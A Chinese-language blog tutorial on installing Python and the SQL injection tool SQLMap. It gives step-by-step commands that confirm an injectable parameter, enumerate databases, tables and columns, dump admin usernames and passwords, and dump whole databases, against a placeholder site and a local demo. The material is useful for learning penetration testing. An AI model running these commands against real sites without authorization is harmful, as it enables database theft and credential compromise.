0x 00 前言
SQLMAP
0x 01 注入原理
不说了
*****************************************结束分割线*****************************************
0x 02 安装SQLMap
1. 安装python
官网https://www.python.org/ 选择最新版本下载安装即可
因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行
1、linux下安装python3
a、 准备编译环境(环境如果不对的话,可能遇到各种问题,比如wget无法下载https链接的文件)
1 2 |
|
2 下载 Python3.5代码包
wget https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz
在安装包中有一个README的文件,里面有写如何安装
tar Jxvf Python-3.5.0.tar.xz cd Python-3.5.0 ./configure --prefix=/usr/local/python3 make && make install
做软链:
ln -s /usr/local/python3/bin/python3.5 /usr/local/bin/python3
安装成功了!
如果提示:Ignoring ensurepip failure: pip 7.1.2 requires SSL/TLS
这是原因没有安装或升级oenssl:
yum install openssl-devel
再次重复编译方案python3.5:
提示同时成功安装pip-7.12与setuptools!
pip3与pip都提示没有错误!
做软链:
ln -s /usr/local/python3/bin/pip3.5 /usr/local/bin/pip
升级pip到最新版本:
pip install --upgrade pip
pip安装成功啦! (扩展python的工具)
注:--no-check-certificate 表示安装时“不检查证书”,不加上可能无法安装。
2.安装包
requests包:
pip install requests
pyquery包:
pip install pyquery
pymysql包:
pip install pymysql
2. 安装SQLMap
官网 http://sqlmap.org/ 选择最近版本安装即可
0x 03 SQLMap常用命令介绍
1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功~
2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列举能列出的所有数据库名
3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出当前使用的数据库名,假设列出“sqltest”数据库
4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判断该注入点是否有管理员权限:返回true 表示是管理员
5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
获取sqltest中的所有表,假设有"admin"表
6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列举表admin的字段(列名),假设存在"username","password"字段
7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下载字段username,password的值,若询问是否破解md5加密,选择no即可
至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据
想看工具的注入过程 使用-v参数
-level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)
若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定
当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~
0x 04 注入Demo
本次演示使用Apache+Php +Mysql 环境,其他环境的话
使用SQLMap输入还是相同的命令,这点SQLMap做的好方便
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 判断注入点是否有管理员权限
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables 猜表名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns 猜字段名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值
网络上流传的脱裤 用的可就是下面的一句话
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然发现 强大的东西往往仅仅是一句话 ! !
这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中
原文地址:https://www.cnblogs.com/xiaommvik/p/8350972.html